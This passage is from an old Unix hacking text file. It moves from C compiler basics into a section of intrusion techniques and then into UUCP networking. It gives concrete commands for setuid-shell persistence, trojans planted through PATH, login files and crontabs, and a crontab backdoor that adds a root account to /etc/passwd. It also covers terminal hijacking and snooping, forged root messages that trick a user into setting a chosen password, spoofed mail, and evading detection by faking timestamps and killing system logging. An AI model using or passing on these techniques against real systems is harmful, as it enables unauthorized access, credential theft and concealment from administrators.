  1616.  
  1617. THE C COMPILER
  1618. --------------
  1619.         C is sort of the "official" language of Unix. Most of the Unix 
  1620. operating system was written in C, and just about every system I've ever been 
  1621. on had the C compiler. The command to invoke the c compiler is cc. The format 
  1622. is "cc [filename]", where filename is the name of the file which contains the 
  1623. source code. (The filename must end in .c) You can create the source code file 
  1624. with any of the system's text editors. The include files, stdio.h and others, 
  1625. are kept in a directory on the system. You do not have to have a copy of 
  1626. these files in your current directory when you compile the file, the compiler 
  1627. will search this directory for them. If you wish to include any files not in 
  1628. the include library, they must be in your current directory. The compiled 
  1629. output will be a file called "a.out" in your current directory.
  1630.  
  1631. COMPILING INDIVIDUAL MODULES
  1632. ----------------------------
  1633.         If you're working on a very large program, you will probably want to 
  1634. break it up into small modules. You compile the individual modules with the -c 
  1635. option, which only generates the object files for the module. Then, use the 
  1636. link editor to combine and compile the object files. The object files will be 
  1637. generated with the same name as the source files, but the file extension will 
  1638. be changed from .c to .o   When you have created all the object files for all 
  1639. of the modules, combine them with the ld (link editor) like this:
  1640.  
  1641. ld /lib/crtO.o [module] [module]... -lc
  1642.  
  1643. which will give you the final, compiled program, in a file named a.out. For 
  1644. example:
  1645.  
  1646. ld /lib/crtO.o part1.o part2.o -lc
  1647.  
  1648. You must remeber to include /lib/crtO.o and the -lc parts in the command, in 
  1649. the order shown. Also, the object files must be specified in the ld command 
  1650. in the order that they must be in the program (for instance, if part1 called 
  1651. part2, part2 can't be BEFORE part1).
  1652.  
  1653. CHECKING FOR ERRORS IN C PROGRAMS
  1654. ---------------------------------
  1655.         The lint command checks for errors and incompatibility errors in C 
  1656. source code. Type "lint [c source-code file]". Not all of the messages returned 
  1657. by lint are errors which will prevent the program from compiling or executing 
  1658. properly. As stated, it will report lines of code which may not be 
  1659. transportable to other Unix systems, unused variables, etc.
  1660.  
  1661. C BEAUTIFIER
  1662. ------------
  1663.         The cb (C beautifier) program formats C source code in an easy to read, 
  1664. "pretty" style. The format is "cb [file]". The output is to the screen, so if 
  1665. you want to put the formatted source code into a file, you must redirect the 
  1666. output.
  1667.  
  1668. SPECIAL C COMMANDS
  1669. ------------------
  1670.         The Unix C compiler has a command called system that executes Unix 
  1671. commands and programs as if you had typed in the commands from the keyboard. 
  1672. The format is:
  1673.  
  1674. system("command line")
  1675.  
  1676. Where command line is any command line you can execute from the shell, such as:
  1677.  
  1678. system("cat /etc/passwd")
  1679.  
  1680. Another command which performs a similar function is execvp. The format is:
  1681.  
  1682. execvp("command")
  1683.  
  1684. An interesting trick is to execute a shell program using execvp. This will make 
  1685. the program function as a shell.
  1686.  
  1687. HACKING THE UNIX SYSTEM
  1688. -----------------------
  1689.         This is it, kiddies, the one you've waded through all that rodent 
  1690. nonsense for! This section will describe advanced hacking techniques. Most of 
  1691. these techniques are methods of defeating internal security (I.E. security once 
  1692. you're actually inside the system). There is little to be said on the subject 
  1693. of hacking into the system itself that hasn't already been said in the earlier 
  1694. sections on logging in, Unix accounts, and Unix passwords. I will say this 
  1695. much- it's easier, and faster, to password hack your way from outside the 
  1696. system into a user account. Once you're actually inside the system, you will 
  1697. find it, using the techniques described in this section, almost easy to gain 
  1698. superuser access on most systems. (Not to mention that nothing is quite as 
  1699. rewarding as spending 3 days hacking the root account on a system, only to 
  1700. receive the message "not on console-disconnecting" when you finally find the 
  1701. proper password.) If you do not have a good understanding of the Unix operating 
  1702. system and some of its more important utilities already, you should read the 
  1703. earlier parts of this file before going on to this section.
  1704.  
  1705. OVERCOMING RSH RESTRICTIONS
  1706. ---------------------------
  1707.         The rsh (restricted Bourne shell) shell attempts to limit the commands 
  1708. available to a user by preventing him from executing commands outside of his 
  1709. searchpath, and preventing him from changing directories. It also prevents you 
  1710. from changing the value of shell variables directly (i.e. typing 
  1711. "variable=value"). There are some easy ways to overcome these restrictions.
  1712.         You can reference any file and directory in the system by simply using 
  1713. its full pathname. You can't change directories like this, or execute a file
  1714. that is outside of your searchpath, but you can do such things as list out the 
  1715. contents of directories, edit files in other directories, etc. (If you have 
  1716. access to the necessary commands.)
  1717.         The biggest flaw in rsh security is that the restrictions that are 
  1718. described above ignored when the account's profile file is executed upon logon. 
  1719. This means that, if you have access to the edit command, or some other means of 
  1720. modifying your account's profile, you can add a line to add a directory to your 
  1721. searchpath, thereby letting you execute any programs in that directory. The 
  1722. restriction on changing directories is also ignored during logon execution of 
  1723. the profile. So, if you absolutely, positively HAVE to go to another directory, 
  1724. you can add a cd command your .profile file.
  1725.  
  1726. OVERCOMING COPY AND WRITE RESTRICTIONS
  1727. --------------------------------------
  1728.         This is a simple trick. If you have read access t a file, but cannot 
  1729. copy it because of directory protections, simply redirect the output of the cat 
  1730. command into another file. If you have write access to a directory but not 
  1731. write access to a specific file, you can create a copy of the file, modify it 
  1732. (since it will be owned by your account), delete the original, and rename the 
  1733. copy to the name of the original.
  1734.  
  1735. DETACHED ACCOUNTS
  1736. -----------------
  1737.         This is a big security hole in many Unix systems. Occasionally, if a 
  1738. user is disconnected without logging off, his account may remain on-line, and 
  1739. still attached to the tty he was connected to the system through. Now, if 
  1740. someone calls to the system and and gets connected to that tty, he is 
  1741. automatically inside the system, inside the disconnected user's account. There 
  1742. are some interesting ways to take advantage of this flaw. For instance, if you 
  1743. desire to gain the passwords to more account, you can set a decoy program up to 
  1744. fake the login sequence, execute the program, and then disconnect from the 
  1745. system. Soon, some unlucky user will call the system and be switched into the 
  1746. detached account's tty. When they enter their username and password, the decoy 
  1747. will store their input in a file on the system, display the message "login 
  1748. incorrect", and then kill the detached account's shell process, thus placing 
  1749. the user at the real login prompt. A Unix decoy written by Shooting Shark will 
  1750. be given at the end of this file.
  1751.  
  1752. UID SHELLS
  1753. ----------
  1754.         When the uid bit is set on a shell program, executing this shell will 
  1755. change your user id to the user id of the account that owns the shell file, and 
  1756. you will have full use of that account, until you press control-d (ending the 
  1757. second shell process) and return to your normal user id. This gives you the 
  1758. power to execute any commands under that account's user id. This is better than 
  1759. knowing the account's password, since as long as the file remains on the 
  1760. system, you can continue to make use of that account, even if the password is 
  1761. changed. When I gain control of an account, I usually make a copy of the shell 
  1762. while logged in under that account in a nice, out of the way directory, and set 
  1763. its uid and gid bits. That way, if I should happen to lose the account (for 
  1764. instance, if the password were changed), I could log in under another account 
  1765. and still make use of the lost account by executing the uid shell.
  1766.  
  1767. FORCED DETACHING
  1768. ----------------
  1769.         This is an easy means of gaining the use of an account on systems with 
  1770. the detached account flaw. Usually, most terminal device files will have public 
  1771. write permission, so that the user that logs in under it can receive messages 
  1772. via write (unless he turns off messages with the mesg n command). This means 
  1773. that you can cat a file into the user's terminal device file. A compiled file, 
  1774. full of all kinds of strange control characters and garbage, works nicely. Say, 
  1775. the user is logged in on tty03. Just type cat /bin/sh > /dev/tty03. The user 
  1776. will see something like this on his screen:
  1777.  
  1778. LKYD;uiayh;fjahfasnf kajbg;aev;iuaeb/vkjeb/kgjebg;iwurghjiugj;di vd 
  1779. b/fujhf;shf;j;kajbv;jfa;vdblwituwoet8y6-
  1780. 2958ybp959vqvq43p8ytpgyeerv98tyq438pt634956b    v856    -868vcf-56-
  1781. e8w9v6bc[6[b6r8wpcvt
  1782.  
  1783. Hehehe! Now, the poor devil is confused. He tries to press break- no response, 
  1784. and the garbage just keeps coming. He tries to enter various commands, to no 
  1785. avail. Catting a file into his terminal device file "ties it up", so to speak, 
  1786. and since this is the file through which all I/O with his terminal is done, he 
  1787. finds it almost impossible to get any input through to the shell. He can't even 
  1788. log off! So, in desperation, he disconnects... It is best to execute the cat 
  1789. command as a background process, so that you can keep an eye on the users on 
  1790. the system. Usually, the user will call the system back and, unless he gets 
  1791. switched back into his old detached account (in which case he will usually hang 
  1792. up again), he will kill the detached account's login process. So, if you see 2 
  1793. users on the system using the same username, you know he's logged back in 
  1794. already. Anyways...after an appropriate length of time, and you feel that he's 
  1795. disconnected, log off and call the system back a few times until you get 
  1796. switched into the detached account. Then just create a uid shell owned by the 
  1797. account and you can use it any time you please, even though you don'tknow the 
  1798. password. Just remember one thing, though-when the cat command has finished 
  1799. displaying the compiled file on the victim's screen, if he is still logged on 
  1800. to that terminal, he will regain control. Use a long file!
  1801.  
  1802. FAKING WRITE MESSAGES
  1803. ---------------------
  1804.         Being able to write to other people's terminal files also makes it 
  1805. possible to fake write messages from any user on the system. For example, you 
  1806. wish to fake a message from root. Edit a file to contain these lines:
  1807. Message from root console ^g [note control-g (bell) character]
  1808. Bill, change your password to "commie" before logging off today. There has been 
  1809. a security leak.
  1810. <EOF>  [don't forget to put this-<EOF>-in the file.]
  1811. Now, type "who" to find bill's tty device, and type:
  1812.  
  1813. cat [filename] > /dev/ttyxx
  1814.  
  1815. Bill will see:
  1816.  
  1817. Message from root console [beep!]
  1818. Bill, change your password to "commie" before logging off today. There has been 
  1819. a security leak.
  1820. <EOF>
  1821.  
  1822. WHEN FILE PERMISSIONS ARE CHECKED
  1823. ---------------------------------
  1824.         Unix checks file permissions every time you issue a write or execute 
  1825. command to a file. It only checks read permissions, however, when you first 
  1826. issue the read command. For instance, if you issued the command to cat the 
  1827. contents of a file, and someone changed the file's permissions so that you did 
  1828. not have read permission while the process was still being executed, the cat 
  1829. command would continue as normal.
  1830.  
  1831. ONLINE TERMINAL READING
  1832. -----------------------
  1833.         You can also, if you have some means of assuming an account's userid, 
  1834. (such as having a uid shell for that account), you can read the contents of 
  1835. someone's terminal on-line. Just execute the uid shell and type "cat 
  1836. /dev/ttyxx &" (which will execute the cat command in the background, which will 
  1837. still display the contents to your screen, but will also allow you to enter 
  1838. commands). Once the person logs off, ownership of his terminal device file will 
  1839. revert to root (terminal device files are temporarily owned by the account 
  1840. logged in under them), but since you had the proper permissions when you 
  1841. started the read process, you can still continue to view the contents of that 
  1842. terminal file, and can watch, online, as the next use logs in. There is also 
  1843. one other trick that can sometimes be used to gain the root password, but 
  1844. should be exercised as a last resort, since it involved revealing your identity 
  1845. as a hacker to the superuser. On many systems, the superuser also has a normal 
  1846. user account that he uses for personal business, and only uses the root account 
  1847. for system management purposes. (This is, actually, a rather smart security 
  1848. move, as it lessens the chances of, say, things like his executing a trojan 
  1849. horse program while under the root account, which, to say the least, could be 
  1850. disastrous [from his point of view].) If you can obtain a uid shell for his 
  1851. user account, simply execute a read process of his terminal file in the 
  1852. background (while under the uid shell), and then drop back into your normal 
  1853. shell. Then send him a write message like:
  1854.  
  1855. I'm going to format your winchesters
  1856.  
  1857. When he uses the su command to go to the superuser account to kick you off the 
  1858. system, you can sit back and watch him type in the root password. (This should 
  1859. only be done if you have more than one account on the system- remember, many 
  1860. systems will not let you log into a superuser account remotely, and if the only 
  1861. account you have is a superuser account, you are effectively locked out of the 
  1862. system.)
  1863.  
  1864. MAIL FRAUD
  1865. ----------
  1866.         The TCP/IP protocol is a common protocol for file transfers between 
  1867. Unix systems, and between Unix and other operating systems. If the Unix system 
  1868. you are on features TCP/IP file transfers, it will have the telnet program on-
  1869. line, usually in the directory /bin.  This can be used to fake mail from any 
  1870. user on the system. Type "telnet" to execute the telnet program. You should 
  1871. see:
  1872.  
  1873. Telnet>
  1874.  
  1875. At this prompt, type "open [name] 25", where name is the uucp network name of 
  1876. the system you are on. This will connect you to the system's 25th port, used to 
  1877. receive network mail. Once connected, type:
  1878.  
  1879. rcpt to: [username]
  1880.  
  1881. Where username is the name of the user you wish to send mail to. Next, type:
  1882.  
  1883. mail from: [user]
  1884.  
  1885. Where user is the name of the use you wish the mail to appear from. You can 
  1886. also specify a non-existant user. You can also fake network mail from a user on 
  1887. another system. For information on the format of the address, see the section 
  1888. on the uucp facilities. Then type:
  1889.  
  1890. data
  1891.  
  1892. You will be prompted to enter the message. Enter "." on a blank line to end and 
  1893. send the mail. When you'e finished sending mail, type "quit" to exit.
  1894.  
  1895.         Thanks to Kid&CO. from Private Sector/2600 Magazine for that novel bit 
  1896. of information.
  1897.  
  1898. UNIX TROJAN HORSES
  1899. ------------------
  1900.         This is an old, OLD subject, and there's little original material to 
  1901. add about it. Trojan horses are programs that appear to execute one function, 
  1902. but actually perform another. This is perhaps the most common means of hacking 
  1903. Unix.
  1904.         One of the easiest means of setting up a Unix trojan horse is to place 
  1905. a program named after a system command, such as ls, "in the way" of someone's 
  1906. search path. For instance, if a user's searchpath is ".:/usr/bin", which means 
  1907. that the system searches the user's current directory for a command first, you 
  1908. could place a shell script in the user's home directory called "ls" that, when 
  1909. executed, created a copy of the shell, set the new shell file's uid and gid 
  1910. bits, echo an error message (such as "lsa: not found", leading the user to 
  1911. think he mistyped the command and the offending character was not echoed, due 
  1912. to line noise or whatever), and delete itself. When the user executes the ls 
  1913. command in his directory, the uid shell is created. Another good idea is to set 
  1914. the name of the trojan to a command in the user's login file, have it make the 
  1915. uid shell, execute the real command, and then delete itself.
  1916.         Another good way to set up a trojan horse is to include a few lines in 
  1917. a user's login file. Simply look at the user's password file entry to find out 
  1918. which shell he logs in under, and then modify the appropriate login file (or 
  1919. create one if it doesn't exist) to create a uid shell when the user logs on.
  1920.         If you can modify a user's file in the directory 
  1921. /usr/spool/cron/crontabs, you can add an entry to create a uid shell. Just 
  1922. specify * * * * * as the times, and wait about 1-2 minutes. In 1 minute, the 
  1923. cron utility will execute the commands in the user's crontab file. Then you can 
  1924. delete the entry. Again, if the user doesn't have a file in 
  1925. /usr/spool/cron/crontabs, you can create one.
  1926.         One last note- be sure you give the trojan horse execute permissionsm, 
  1927. otherwise the victim will receive the message "[filename]- cannot execute"... 
  1928. Kind of a dead giveaway.
  1929. CHANGING UID PROGRAMS
  1930. ---------------------
  1931.         If you have write access to a uid file, you can easily modify it to 
  1932. become a shell. First, copy the file. Then type:
  1933.  
  1934. cat /bin/sh > [uid file]
  1935.  
  1936. This will replace the file's contents with a shell program, but the uid bit 
  1937. will remain set. Then execute the file and create a well-hidden uid shell, and 
  1938. replace the subverted uid file with the copy.
  1939.  
  1940. ADDING AN ACCOUNT TO A UNIX SYSTEM
  1941. ----------------------------------
  1942.         To add an account to a Unix system, you must have write access to the 
  1943. password file, or access to the root account so that you can change the 
  1944. password file's protections. To add an account, simply edit the file with the 
  1945. text file editor, edit (or any of the other Unix editors, if you wish). Add an
  1946. entry like this:
  1947.  
  1948. [username]::[user#]:[group#]:[description]:[home directory]:[pathname of shell]
  1949.  
  1950. Notice that the password field is left blank. To set the password, type:
  1951.  
  1952. passwd [username]
  1953.  
  1954. You will then be prompted to enter and verify a password for the account.
  1955. If you wish the account to have superuser privileges, it must have a user 
  1956. number of zero.
  1957. UNIX BACKDOOR
  1958. -------------
  1959.         A backdoor is a means of by-passing a system's normal security for 
  1960. keeping unauthorized users out. For all the talk about back doors, they are 
  1961. rarely accomplished. But creating a backdoor in Unix System V is really quite 
  1962. easy. It simply requires adding a few entries to the file 
  1963. /usr/lib/crontab or /usr/spool/cron/crontabs/root. (Again, if the file doesn't 
  1964. exist, you can create it.) Add these lines, which will create 2 accounts on the
  1965. system, one a user account ("prop") and one a superuser account ("prop2"), at
  1966. 1 am system time every night, and delete them at 2 am every night.
  1967.  
  1968. 0 1 * * * chmod +w /etc/passwd
  1969. 1 1 * * * echo "prop::1:1::/:/bin/sh" >> /etc/passwd
  1970. 2 1 * * * echo "prop2::0:0::/:/bin/sh" >> /etc/passwd
  1971. 20 1 * * * grep -v "prop*:" /etc/passwd > /usr/spool/uucppublic/.p
  1972. 0 2 * * * cat /usr/spool/uucppublic/.p > /etc/passwd
  1973. 10 2 * * * chmod -w /etc/passwd
  1974. 15 2 * * * rm /usr/spool/uucppublic/.p
  1975.  
  1976. COVERING YOUR TRACKS
  1977. --------------------
  1978.         Naturally, you want to keep your cover, and not leave any trace that 
  1979. there is a hacker on the system. This section will give you some tips on how to 
  1980. do just that. First of all, the Unix system keeps track of when a file was last 
  1981. modified (see the information on the command ls -l in the section on file and 
  1982. directory protections). You don't want anyone noticing that a file has been 
  1983. tampered with recently, so after screwing around with a file, if at all 
  1984. possible, you should return its last modified date to its previous value using 
  1985. the touch command. The syntax for the touch command is:
  1986.  
  1987. touch hhmmMMdd [file]
  1988.  
  1989. Where hh is the hour, mm is the minute, MM is the month, and dd is the day. 
  1990. [file] is the name of the file you wish to change the date on.
  1991.         What usually gives hackers away are files they create on a system. If 
  1992. you must create files and directories, make use of the hidden files feature. 
  1993. Also, try to hide them in directories that are rarely "ls"'d, such as 
  1994. /usr/spool/lp, /usr/lib/uucp, etc (in other words, directories whose contents 
  1995. are rarely tampered with).
  1996.         Avoid use of the mail facilities, as anyone with the proper access can 
  1997. read the /usr/mail files. If you must send mail to another hacker on the 
  1998. system, write the message into a text file first, and encrypt it. Then mail it 
  1999. to the recipient, who can save the message without the mail header using the w 
  2000. option, and decrypt it.
  2001.         Rather than adding additional superuser accounts to a system, I've 
  2002. found it better to add simple user accounts (which don't stand out quite as 
  2003. much) and use a root uid shell (judiciously hidden in a rarely used directory) 
  2004. whenever I need superuser privileges. It's best to use a user account as much 
  2005. as possible, and only go to the superuser account whenever you absolutely need 
  2006. superuser priv's. This may prevent damaging accidents. And be careful when 
  2007. creating a home directory for any accounts you add. I've always found it better 
  2008. to use existing directories, or to add a hidden subdirectory to a little-
  2009. tampered with directory.
  2010.  
  2011.         Many systems have "watchdog" programs which log off inactive accounts 
  2012. after a certain period of time. These programs usually keep logs of this kind 
  2013. of activityl. Avoid sitting on the sitting doing nothing for long periods of 
  2014. time.
  2015.         While using some of the methods described in this file, you may replace 
  2016. a user's file with a modified copy. This copy will be owned by your account and 
  2017. group instead of the account which owned the original. You can change the group 
  2018. back to the original owner's group with the chgrp command, the format of which 
  2019. is:
  2020.  
  2021. chgrp [groupname] [file]
  2022.  
  2023. And change the owner back to the original with the chown command:
  2024.  
  2025. chown [user] [file]
  2026.  
  2027.         When you change ownership or group ownership of a file, the uid and gid 
  2028. bits respectively are reset, so you can't copy the shell, set its uid bit, and 
  2029. change its owner to root to gain superuser capabilities.
  2030.         Above all, just be careful and watch your step! Unix is a very flexible 
  2031. operating system, and even though it comes equipped with very little in the way 
  2032. of accounting, it is easy to add your own security features to it. If you do 
  2033. something wrong, such as attempting to log in under a superuser account 
  2034. remotely only to see "not on console-goodbye", assume that a note is made of 
  2035. the incident somewhere on the system. Never assume that something [anything!] 
  2036. won't be noticed. And leave the system and its files exactly as you found them. 
  2037. In short, just use a little common sense.
  2038.         If you're a real klutze, you can turn off the error logging (if you 
  2039. have root capabilities). I will include information on System V error logging, 
  2040. which most Unix clones will have error logging facilities similar to, and on 
  2041. Berkely Standard Distribution (BSD) Unix error logging.
  2042.  
  2043. BERKELY (BSD) UNIX ERROR LOGGING
  2044. --------------------------------
  2045. Type "cat /etc/syslog.pid". This file contains the 
  2046. process number of the syslog (error logging) program. Kill this process, and 
  2047. you stop the error logging. Remember to start the logging process back up after 
  2048. you're through stumbling around. 
  2049.         If you want to see where the error messages are sent, type:
  2050.  
  2051. cat /etc/syslog.config
  2052.  
  2053. Entries are in the form:
  2054.  
  2055. #file
  2056.  
  2057. Such as:
  2058.  
  2059. 5/etc/errlogfile
  2060.  
  2061. The number is the priority of the error, and the file is the file that errors 
  2062. of that priority or higher are logged to. If you see an entry with /dev/console 
  2063. as its log file, watch out! Errors of that priority will result in an error 
  2064. message being displayed on the system console. Sometimes, a list of usernames 
  2065. will follow an entry for errorlogging. This means that these users will be 
  2066. notified of any priorities of that level or higher.
  2067. There are 9 levels of priority to errors, and an estimation of their 
  2068. importance:
  2069.  
  2070. 9       -Lowly errors. This information is just unimportant junk used to debug
  2071.         small errors in the system operation that usually won't affect its
  2072.         performance. Usually discarded without a glance.
  2073.  
  2074. 8       -Usually just thrown away. These messages provide information on the
  2075.         system's operation, but nothing particularly useful.
  2076.  
  2077. 7       -Not greatly important, but stored for informational purposes.
  2078.  
  2079. 6       -System errors which can be recovered from.
  2080.  
  2081. 5       -This is the priority generally given to errors caused by hackers-
  2082.         not errors, but important information, such as security violatins:
  2083.         bad login and su attempts, attempts to access files without proper
  2084.         permissions, etc.
  2085.  
  2086. 4       -Errors of higher priority than 6.
  2087.  
  2088. 3       -Major hardware and software errors.
  2089.  
  2090. 2       -An error that requires immediate attention...very serious.
  2091.  
  2092. 1       -***<<<(((CRAAASSSHHH!!!)))>>>***-
  2093.  
  2094. SYSTEM V ERROR LOGGING
  2095. ----------------------
  2096.         System V error logging is relatively simple compared to Berkely Unix 
  2097. error logging. The System V error logging program is errdemon. To find the 
  2098. process id of the error logging program, type "ps -uroot". This will give you a 
  2099. list of all the processes run under the root id. You will find /etc/errdemon 
  2100. somewhere in the list. Kill the process, and no more error logging. The 
  2101. errdemon program is not as sophisticated as BSD Unix's syslog program: it only 
  2102. logs all errors into a file (the default file is /usr/adm/errfile, but another 
  2103. file can be specified as an argument to the program when it is started). 
  2104. Errdemon does not analyze the errors as syslog does, it simply takes them from 
  2105. a special device file called /dev/error and dumps them into the error logging 
  2106. file. If you wish to examine the error report, use the errpt program, which 
  2107. creates a report of the errors in the error logging file and prints it out on 
  2108. the stanard output. The format is: errpt [option] [error logging file]. For a 
  2109. complete report of all errors, use the -a option:
  2110.  
  2111. errpt -a /usr/adm/errfile
  2112.  
  2113. The output is very technical, however, and not of much use to the hacker.
  2114.  
  2115. UUCP NETWORKING
  2116. ---------------
  2117.         This section will cover the workings and use of the Unix uucp 
  2118. facilities. UUCP stands for Unix to Unix Copy. The uucp utilities are for the 
  2119. exchange of files between Unix systems. There also facilities for users to dial 
  2120. out and interact with remote systems, and for executing limited commands on 
  2121. remote systems without logging in.
  2122.  
  2123. OUTWARD DIALING
  2124. ---------------
  2125.         The command for outward dialing is cu. The format is:
  2126.  
  2127. cu -n[phone number]
  2128.  
  2129. Such as:
  2130.  
  2131. cu -n13125285020
  2132.  
  2133. On earlier versions of Unix, the format was simply "cu [phone number]".
  2134.  
  2135. Note, that the format of the phone number may be different from system to 
  2136. system- for instance, a system that dials outward off of a pbx may need to have 
  2137. the number prefixed by a 9, and one that uses an extender may not need to have 
  2138. the number (if long distance) preceded by a 1. To dial out, however, the system 
  2139. must have facilities for dialing out. The file /usr/lib/uucp/Devices (called 
  2140. L-devices on earlier systems) will contain a list of the available dialout 
  2141. devices. Entries in this file are in the format:
  2142.  
  2143. [device type]  [device name]  [dial device]  [linespeed]  [protocol, optional]
  2144.  
  2145. Device type is one of 2 types: ACU and DIR. If ACU, it is a dialout device. DIR 
  2146. is a direct connection to a specific system.  Device name is the name of the 
  2147. base name of the dialout device's device file, which is located in the /dev 
  2148. directory. Dial device is usually an unused field. It was used on older systems 
  2149. where one device (device name in the above example) was used to exchange data, 
  2150. and another device (dial device, above) did the telephone dialing. In the age 
  2151. of the autodial modem, this is a rarely used feature. The next, linespeed, is 
  2152. the baud rate of the device, usually either 300, 1200, or 2400, possibly 4800 
  2153. or 9600 if the device is a direct connection. The protocol field is for 
  2154. specifying the communications protocol. This field is optional and generally 
  2155. not used. Here is an example entry for a dialout device and a direct 
  2156. connection:
  2157.  
  2158. ACU  tty99  unused  1200
  2159. DIR  tty03  unused  9600
  2160.  
  2161. If a dialout device is capable of more than one baud rate, it must have 2 
  2162. entries in the Devices (L-devices) file, one for each baud rate. Note, that the 
  2163. device in the above example is a tty- usually, dialout device names will be in 
  2164. the form tty##, as they can be used both for dialing out, and receiving 
  2165. incoming calls. The device can be named anything, however.
  2166.  
  2167. There are several options worth mentioning to cu:
  2168. -s      Allows you to specify the baud rate. There must be a device in the
  2169.         Devices file with this speed.
  2170. -l      Allows you to specify which device you wish to use.
  2171.  
  2172. If you wish to connect to a system that there is a direct connection with, 
  2173. simply type "cu -l[device]". This will connect you to it. You can also do that 
  2174. do directly connect to a dialout device, from which point, if you know what 
  2175. commands it accepts, you can give it the dial commands directly.
  2176.  
  2177. Using the cu command is basically the same as using a terminal program. When 
  2178. you use it to connect to a system, you then interact with that system as if you 
  2179. dialed it directly from a terminal. Like any good terminal program, the cu 
  2180. "terminal program" provides facilities for file transfers, and other commands. 
  2181. Here is a summary of the commands:
  2182.  
  2183. ~.                 -Disconnect from the remote system.
  2184.  
  2185. ~!                 -Temporarily execute a shell on the local system. When you 
  2186.                    wish to return to the remote system, press control-D.
  2187.  
  2188. ~![cmd]            -Execute a command on the local system. Example: ~!ls -a
  2189.  
  2190. ~$[cmd]            -Execute a command on the local system and send the output to
  2191.                    the remote system.
  2192.  
  2193. ~%put f1 f2        -Sends a file to the remote system. F1 is the name of the
  2194.                    file on the local system, and f2 is the name to be given the
  2195.                    copy made on the remote system.
  2196.  
  2197. ~take f1 f2        -Copies a file from the remote to the local system. F1 is
  2198.                    the name of the remote file, and f2 is the name to be given
  2199.                    to the local copy.
  2200.  
  2201. Note, that the commands for transferring output and files will only work if you 
  2202. are communicating with another Unix system.
  2203.         You may be wondering how you can find out the format for the phone 
  2204. number, which is necessary to dial out. The format can be obtained from the 
  2205. file /usr/lib/uucp/Systems (called L.sys on earlier Unix systems). This file 
  2206. contains the uucp network names and phone numbers of other Unix systems, as 
  2207. well as other information about them. This file contains the information needed 
  2208. to carry out uucp file transfers with the systems listed within it. The entries 
  2209. are in the format:
  2210.  
  2211. [system name]  [times]  [devicename]  [linespeed]  [phone number]  [login info]
  2212.  
  2213. System name is the name of the system.
  2214. Times is a list of the times when the system can be contacted. This field will 
  2215. usually just have the entry "Any", which means that the system can be contacted 
  2216. at any time. Never means that the system can never be called. You can also 
  2217. specify specific days and times when the system can be contacted. The days are 
  2218. abbreviated like this:
  2219. Su Mo Tu We Th Fr Sa
  2220. Where Su is Sunday, Mo is Monday, etc. If the system can be called on more than 
  2221. one day of the week, you can string the days together like this:SuMoTu for 
  2222. Sunday, Monday, and Tuesday. You can also specify a range of hours when the 
  2223. system can be called, in the 24 hour format, like this: Su,0000-0100 means that 
  2224. the system can be called Sunday from midnight to 1am. The week days (Monday 
  2225. through Friday) can be abbreviated as Wk.
  2226. Device name is the name of the device to call the system with. If the system is 
  2227. directly connected, this file will contain the base name of the device file of 
  2228. the device which connects it to the local system. If the system has to be 
  2229. dialed over the phone, this field will be "ACU".
  2230. Linespeed is the baud rate needed to connect to the system. There must be a 
  2231. device available with the specified baud rate to contact the system.
  2232. Phone number is the phone number of the system. By looking at these entries, 
  2233. you can obtain the format for the phone number. For instance, if this field 
  2234. contained "913125285020" for an entry, you would know that the format would be 
  2235. 9+1+area code+prefix+suffix. 
  2236. The login field contains information used for uucp transfers, and will be 
  2237. discussed in detail later.
  2238.         Sometimes you will see alphabetic or other strange characters in the 
  2239. phone number field. Sometimes, these may be commands for the particular brand 
  2240. of modem that the system is using to dialout, but other times, these may 
  2241. actually be a part of the phone number. If so, the meaning of these characters 
  2242. called tokens can be found in the file /usr/lib/uucp/Dialcodes (called
  2243. L-dialcodes on earlier systems). Entries in this file are in the form:
  2244.  
  2245. token   translation
  2246.  
  2247. For example:
  2248.  
  2249. chicago  312
  2250.  
  2251. Would mean that the token chicago means to dial 312. So, if the phone number 
  2252. field of a Systems entry was:
  2253.  
  2254. chicago5285020
  2255.  
  2256. It would mean to dial 3125285020.
  2257.  
  2258. You can add an entry to the Systems file for systems that you wish to call 
  2259. frequently. Simply edit the file using one of the Unix system's editors, and 
  2260. add an entry like this:
  2261.  
  2262. ripco  Any ACU 1200 13125285020 unused
  2263.  
  2264. And then any time you wished to call the BBS Ripco, you would type:
  2265.  
  2266. cu ripco
  2267.  
  2268. And the system would do the dialing for you, drawing the phone number from the 
  2269. entry for Ripco in the Systems file.
  2270.  
  2271. HOW UUCP TRANSFERS WORK
  2272. -----------------------
  2273.         This section will detail how a uucp file transfer works. When you issue 
  2274. the command to transfer a file to/from a remote system, the local system dials 
  2275. out to the remote system. Then, using the information contained in the login 
  2276. field of the Systems file, it logs into an account on the remote system, in 
  2277. exactly the same manner as you would log into a Unix system. Usually, however, 
  2278. uucp accounts use a special shell, called uucico, which implements certain 
  2279. security features which (are supposed to) keep the uucp account from being used 
  2280. for any other purpose than file transfers with another Unix system. (Note: not 
  2281. ALL uucp accounts will use this shell.) If you've ever logged into the uucp 
  2282. account on the system and received the message, "Shere=[system name]", and the 
  2283. system wouldn't respond to any of your input, that account was using the uucico 
  2284. shell, which prevents the account from being used as a normal "user" account. 
  2285. The local system then requests the transfer, and if security features of the 
  2286. remote system which will be discussed later do not prevent the transfer, the 
  2287. file will be copied to (or from if you requested to send a file) the local 
  2288. system. The account is then logged off of the remote system, and the connection 
  2289. is dropped.
  2290.  
  2291. ADDING A LOGIN FIELD TO A SYSTEMS ENTRY
  2292. --------------------------------------
  2293.         Many superusers feel that if the uucp account uses the uucico shell, 
  2294. that it is "secure". Because of this, they may ignore other uucp security 
  2295. measures, and probably not give the account a password. If you find such a 
  2296. system, you can add an entry for the system to the Systems (L.sys) file of 
  2297. another Unix system and try to, say, transfer a copy of its password file. To 
  2298. do so, simply follow the outline in the section on cu for how to add an entry 
  2299. to the Systems file. That will cover everything but how to add the login field, 
  2300. which is covered in this section. 
  2301.         The login section consists of expect/sendsubfields. For example, here 
  2302. is an example login field:
  2303.  
  2304. ogin: uucp assword: uucp
  2305.  
  2306. The first subfield is what is expected from the remote system, in this case 
  2307. "ogin:". This means to expect the login prompt, "Login:". Note, that you do not 
  2308. have to enter the complete text that the remote system sends, the text sent 
  2309. from the remote system is scanned left to right as it is sent until the 
  2310. expected text is found. The second subfield contains the local system's 
  2311. response, which is sent to the remote system. In this case, the local system 
  2312. sends "uucp" when it receives the login prompt. Next, the local system scans 
  2313. the output from the remote system until it receives "assword:" ("password:"), 
  2314. then sends "uucp" (the password, in this example, for the uucp account). 
  2315. Because of line noise or other interference, when the local system connects to 
  2316. the remote, it may not receive the expected string. For this possibility, you 
  2317. may specify the expected string several times, like this:
  2318.  
  2319. ogin:-ogin: uucp assword:-assword: uucp
  2320.  
